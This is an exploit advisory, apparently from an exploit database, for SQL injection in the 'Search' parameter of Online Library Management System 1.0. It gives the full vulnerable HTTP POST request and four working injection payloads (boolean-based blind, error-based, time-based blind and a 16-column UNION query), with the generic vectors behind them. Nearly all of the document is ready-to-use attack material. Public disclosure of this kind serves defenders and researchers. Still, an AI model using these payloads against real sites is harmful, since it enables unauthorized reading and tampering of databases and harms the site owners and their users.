# Exploit Title: Online Library Management System 1.0 - 'Search' SQL Injection
# Date: 23-06-2021
# Exploit Author: Berk Can Geyikci
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/ols.zip
# Version: 1.0
# Tested on: Windows 10 Pro 64 Bit 10.0.19041 + XAMPP V7.3.28

#Vulnerable URL: http://localhost/ols/index.php?q={random string} 
#Search Parameter 


Request:

POST /ols/index.php?q=find HTTP/1.1
Host: localhost
Content-Length: 16
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://localhost/ols/index.php?q=find
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=msjh9j7ngitv8k79g9or1rov0d
Connection: close

search=a&Search={INJECT HERE}


POC 1:
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: search=AA&Search=') AND 5208=5208#
    Vector: AND [INFERENCE]#

POC 2:
  Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: search=aa&Search=') OR (SELECT 5630 FROM(SELECT COUNT(*),CONCAT(0x7162787171,(SELECT (ELT(5630=5630,1))),0x717a766a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- XONS
    Vector: OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

POC 3:
  Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: search=aa&Search=') AND (SELECT 3884 FROM (SELECT(SLEEP(5)))baxK)-- uNHU
    Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

POC 4:
  Type: UNION query
    Title: MySQL UNION query (NULL) - 16 columns
    Payload: search=aa&Search=') UNION ALL SELECT NULL,NULL,CONCAT(0x7162787171,0x7665436f41665177487458444d6c4358416d6a716869586c476d504b67647178695064414f4e444f,0x717a766a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
    Vector:  UNION ALL SELECT NULL,NULL,[QUERY],NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#